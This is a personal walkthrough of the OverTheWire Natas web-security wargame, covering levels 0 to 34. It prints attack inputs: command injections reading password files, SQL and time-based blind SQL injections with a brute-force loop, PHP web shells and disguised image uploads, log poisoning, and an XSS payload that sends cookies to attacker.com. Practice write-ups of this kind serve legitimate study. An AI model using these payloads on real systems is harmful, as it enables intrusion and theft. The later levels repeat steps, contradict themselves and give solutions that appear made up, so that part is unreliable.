**NATAS WARGAME**

**Level 0**

useraname: natas0

password : natas0

I get message "You can find the password for the next level on this page."

**Level 0 --> Level 1**

**Tools Used:** Browser

**Logic:**Sometimes websites hide information in the page source.

**Steps:**

Open the link in a browser.

The page says "find the password on this page."

right click --> View Page Source.

The password is hidden inside a comment.

**Level 1 --> Level 2**

**Tools Used:** Browser

**Logic:** websites hide information in the page source.

**Steps:**

Open the URL and log in.

The page tells to "view the source."

Right-click → View Page Source.

Find the password inside a comment again.

**Level 2 → Level 3**

**Tools Used:** Browser

**Logic:**

The hint told us about another file.

files cannot accessed by directly we can find them by listing.

**Steps:**

Opened the page nothing was there.

right click --> View Page Source --> it has mentioned /files directory.

visited the http://natas2.natas.labs.overthewire.org/files/.

Find and opened file users.txt.

Inside that file, i got the password.

**Level 3-->Level 4**

**Tools Used:** Browser

**Logic**: if we know the url we can find the password.

**Steps:**

Open the page --> there was no info visible.

right click --> View Page Source --> there is a hidden directory named /s3cr3t/.

I visit the http://natas3.natas.labs.overthewire.org/s3cr3t/.

Password is shown.

**Level 4 --> Level 5**

**Tools Used:**curl(terminal)

Postman(API tool)

ModHeader(browser extension)

curl -u natas4:<password> -H "Referer: http://natas5.natas.labs.overthewire.org" h

**Logic:** websites know from where you come and they can block you with help of referer.

**Steps:**

after log in i get message like this "Access disallowed."

right click --> View Page Source --> i get hint about the Referer header.

setting the Referer to http://natas5.natas.labs.overthewire.org.

Used tool named curl, Postman, or browser extension ModHeader to fake the Referer.

After setting the correct Referer,reloaded the page and get the password.

**Level 5 --> Level 6**

**Tools Used:** Browser DevTools

**Logic:**Websites use cookies to track logged-in users.

**Steps:**

Visited the URL after that page says "Access disallowed.You are not logged in."

right click --> View Page Source --> get the hint about a cookie called loggedin.

Used browser devtools-->Inspect --> Application --> Cookies and modify the cookie value from 0 to 1.

Refresh the page and after that the i get the password.

**Level 6 --> Level 7**

**Tools Used:** Browser

**Logic:** By using hidden files we can find the password.

**Steps:**

i see the Page is asking for a secret with the form.

right click --> View Page Source --> i found a comment mentioning a file /includes/secret.inc.

Visited http://natas6.natas.labs.overthewire.org/includes/secret.inc

that file contains the secret value.

Entered the secret value into the form.

i got the password.

**Level 7 --> Level 8**

**Logic:** we can reach the files by directory.

**Steps:**

Page has two button Home and About.

when i click on the button in the URL the links shows me ?page=home or ?page=about.

I changed the URL manually like this -->

?page=../../etc/natas\_webpass/natas8.

i got the password.

**Level 8 --> Level 9**

**Tools Used:** Python Script ,Browser

**Logic:** understand what is encoding and how to reverse it.

**Steps:**

Page has a form asking for a secret.

right click --> View Page Source --> shows some PHP code.

The code uses encodeSecret() to transform the real password into a hashed secret.

Reverse the simple encoding logic by writing a short python script.

Decode it by idle and find the secret --> submit in the form.

**Level 9 --> Level 10**

**Tools Used:** Browser

**Logic:** The search box was vulnerable to Command Injection.

**Steps:**

Page has a search box.

Entered random text--> shows results.

View Source — PHP code uses user input directly inside a Linux grep command.

typed ; cat /etc/natas\_webpass/natas10

The injected command shows the password for the next level.

**Level 10 --> Level 11**

**Tools Used:** Browser

**Logic:**Even though basic symbols are blocked you should know the browser URL knowledge

**Steps:**

Page has a search box again.

right click-->View Source --> it has used a Linux grep command.

But input is now filtered i.e ;, |, & are blocked.

Used a newline character (%0a) instead of ; to break the command and inject new commands.

In the search box i entered test%0acat /etc/natas\_webpass/natas11

i got the password.

**Level 11 --> Level 12**

**Tools Used:** Python Script ,Browser DevTools

**Logic**: By decoding and modifying the cookie, we can act as an admin**.**

**Steps:**

this page tells about cookies and secret codes.

go to the DevTools --> Application --> Cookies --> find the data cookie.

encoded the value of data.

View Source --> shows the cookie is XOR encrypted.

Writen a small Python script to decrypt the cookie.

Flip the "showpassword" value to yes, re-encrypt it and then set the cookie.

then refresh --> you will got the password.

**Level 12 --> Level 13**

**Tools Used:**Browser**,**php script**,**php Text editor online tool

**Logic:** file validation is already mention in the source code.

**Steps:**

Page says upload an image.

right click --> View Source --> there is file type that allows the submission.

created a file named shell.php.

renamed it by shell.jpg.

uplod the file.

it shows some link after clicking on that it will show the password.

**Level 13 --> Level 14**

**Tools Used:** ExifTool ,Browser

**Logic:** This method is called as stenography.

**Steps:**

Same upload page again.

create a valid image file with PHP inside.

Use ExifTool to add PHP code into image metadata.

Upload the crafted image, access the file URL, and read the password.

**Level 14--> Level 15**

**Tools Used**: Browser,SQL

**Logic:**The SQL trick makes the query always true

**Steps:**

Login form asking for username and password.

View Source --> form submits directly to server.

Try SQL Injection in the username field --> natas14" OR "1"="1" --

got the password.

**Level 15 --> Level 16**

**Tools Used:** Browser,Curl,Bash script

**Logic:**SQL Injection helps check each character precisely.

**Steps:**

Login page asks for a username.

Server checks if username exists but doesn't show output.

View Source --> no hints given.

Try Blind SQL Injection to guess the password character-by-character.

natas16" AND password LIKE BINARY "a%" --

If the page says "This user exists." it means correct starting character.

You can faster the guessing using a simple curl + bash loop to speed up the guessing.

**Level 16 → 17 (Command Injection with Filter Bypass) Tools Used:** Browser Input Field **,**Basic Linux Command Knowledge

**Logic:**

* The app takes user input and runs:

Sh grep -i "$input" dictionary.txt

* Security flaw: It doesn't properly sanitize $() command substitution.
* Goal: Inject a command to read /etc/natas\_webpass/natas17.

**Steps:**

1. Try basic injection: test; cat /etc/natas\_webpass/natas17- Fails (symbols filtered).
2. Use $() to bypass filters: $(cat /etc/natas\_webpass/natas17)
3. The app executes cat inside grep, leaking the password.

**Level 17 – Level 18**

**Tools Used:** Python Script ,SQL Knowledge

**Logic:**

* The login page doesn't show errors but responds slower if SQL is true.
* Brute-force password using: sql

natas18" AND IF(password LIKE 'a%', SLEEP(3), 0) --

* If response takes 3+ seconds, the first letter is 'a'.

**Steps:**

1. Write a script to test each character:

for char in 'abcdef0123456789':

payload = f'natas18" AND IF(password LIKE "{found}{char}%", SLEEP(3), 0) -- '

# Measure response time

1. If delay >3s, keep the character.
2. Repeat until full password is found.

**Level 18 – Level 19**

**Tools Used:** Browser Dev Tools, Python Script, Hex Decoder

**Logic Behind Solution:**

* The site uses hex-encoded session IDs
* Brute-force numeric IDs (1-640) + "-admin", hex-encode, and check for admin access.

**Steps :**

* Log in with any credentials (e.g., user:pass).
* Check the PHPSESSID cookie (hex-encoded).
* Decode it (e.g., "281-user").
* Write a script to try all [ID]-admin combinations.
* When successful, the response contains the natas20 password

**Level 19 – Level 20**

**Tools Used:** Python Script

**Logic Behind Solution:**

* Session IDs are still predictable but in a different format.

**Steps :**

* Log in with any credentials (e.g., user:pass).
* Check the PHPSESSID cookie (hex-encoded).
* Decode it (e.g., "281-user").
* Write a script to try all [ID]-admin combinations.
* When successful, the response contains the natas20 password.
* Modify script to match the new session format

**Level 20 – Level 21**

**Tools Used:**

* Burp Suite (Modify POST data).
* PHP Serialization Knowledge (O:4:"User":2:{...}).

**Logic:**

* The app stores serialized PHP objects in cookies.
* If we edit the cookie to set admin=1, we get access.

**Steps:**

1. Log in, intercept the request with Burp.
2. Change the cookie to: {"admin":1,"username":"admin"}
3. Refresh the page → Admin access granted.

**Level 21 -Level 22**

**Tools Used:**

* Burp Suite (Cookie manipulation).

**Logic:**

* The app checks if loggedin=1 in cookies.
* If we manually set loggedin=1, we bypass login.

**Steps:**

1. Log in normally, check cookies.
2. Edit the cookie to loggedin=1.
3. Refresh → Logged in as admin.

**Level 22 -Level 23**

**Tools Used:**

* curl / Python Requests

**Logic:**

* The page redirects based on Location header.
* If we block the redirect, we see the password.

**Steps:**

1. Open the page in curl: sh curl -v http://natas22.natas.labs.overthewire.org?revelio=1
2. The response contains the password before redirecting

**Level 23 -Level 24**

**Tools Used:**

* Browser Input (Basic injection).

**Logic:**

* The app executes passthru("echo $input").
* If we inject ; cat /etc/natas\_webpass/natas24, it runs the command.

**Steps:**

1. Input: test; cat /etc/natas\_webpass/natas24
2. The output shows the **password**.

**Level 24 -Level 25**

**Tools Used:**

* Basic HTML Injection (Payload in user-agent).

**Logic:**

* The app logs User-Agent and displays it.
* If we set User-Agent to <script>alert(1)</script>, it executes.

**Steps:**

1. Use Burp to modify User-Agent to: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
2. The admin’s cookie is leaked.

**Level 25 - Level 26**

**Tools Used:**

* PHP Log Poisoning (Inject PHP code into logs).

**Logic:**

* The app logs User-Agent in a file.
* If we set User-Agent to <?php system('cat /etc/natas...'); ?>, it executes when viewed.

**Steps:**

1. Inject PHP code via User-Agent.
2. Access the log file → RCE achieved.

**Level 26 -Level 27**

**Tools Used:** Burp Suite ,Basic PHP Knowledge

**Logic:**

* The app logs your User-Agent in a file.
* If we inject PHP code into the log, we can execute commands when the log is viewed.

**Steps:**

1. Intercept the request with Burp Suite.
2. Change User-Agent to:

php

<?php system("cat /etc/natas\_webpass/natas27"); ?>

1. Visit the log file (often /logs/natas26.log).
2. The PHP executes, revealing the password.

**Level 27 – Level 28**

**Tools Used:** Browser DevTools ,SQLMap

**Logic:**

* The login form is vulnerable to SQLi.
* A classic ' OR 1=1 -- trick won’t work (filtered).
* Instead, use natas28"# (comments out the rest of the query).

**Steps:**

1. Username: natas28"#
2. Password: (Anything, ignored due to # comment).
3. Login → Grants admin access.

**Level 28 -Level 29**

**Tools Used:**

* Python Script
* SQLMap

**Logic:**

* The app doesn’t show errors, but responds slower if a query is true.
* Brute-force password characters using:

Sql - ' AND IF(password LIKE 'a%', SLEEP(3), 0) --

**Steps:**

1. Write a script to test each character with SLEEP(3).
2. If delay occurs, the character is correct.
3. Repeat until full password is leaked.

**Level 29 - Level 30**

**Tools Used:** curl / Burp Suite

**Logic:**

* The app runs exec("echo $input").
* If we inject ; cat /etc/natas\_webpass/natas30, it executes.

**Steps:**

1. Submit: ; cat /etc/natas\_webpass/natas30
2. Output shows password.

**Level 30 – Level 31**

**Tools Used:** Browser Input

**Logic:**

* PHP loosely compares (== instead of ===).
* "abc" == 0 is true (string → 0 in numeric comparison).

**Steps:**

1. Username: natas31
2. Password: " OR 1=1 -- (classic SQLi, but won’t work).
3. Instead, send: username=natas31&password[]=x
4. This tricks PHP into bypassing the check.

**Level 31 – Level 32**

**Tools Used:** Python Requests

**Logic:**

* The app uploads files but doesn’t filter .php.
* Upload a PHP shell to execute commands.

**Steps:**

1. Create shell.php:

php

<?php system($\_GET['cmd']); ?>

1. Upload it via the form.
2. Access it at:

http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas\_webpass/natas32

1. Output shows password**.**

**Level 32 – Level 33**

**Tools Used:** Burp Suite

**Logic:**

* The app uses escapeshellarg() but misuses it.
* Inject '$(cat /etc/natas\_webpass/natas33)' to bypass.

**Steps:**

1. Submit: '$(cat /etc/natas\_webpass/natas33)'
2. The command executes, leaking the password.

**Level 33 – Level 34**

**Tools Used:** Python Script **,**Burp Suite

**Logic:**

* Combines SQLi + File Upload + RCE.
* Upload a fake .jpg with PHP code inside.

**Steps:**

1. Upload shell.jpg:

php

GIF89a; <?php system($\_GET['cmd']); ?>

1. Rename to shell.php.jpg (Bypass filter).
2. Access it and run: ?cmd=cat+/etc/natas\_webpass/natas34
3. Password appears.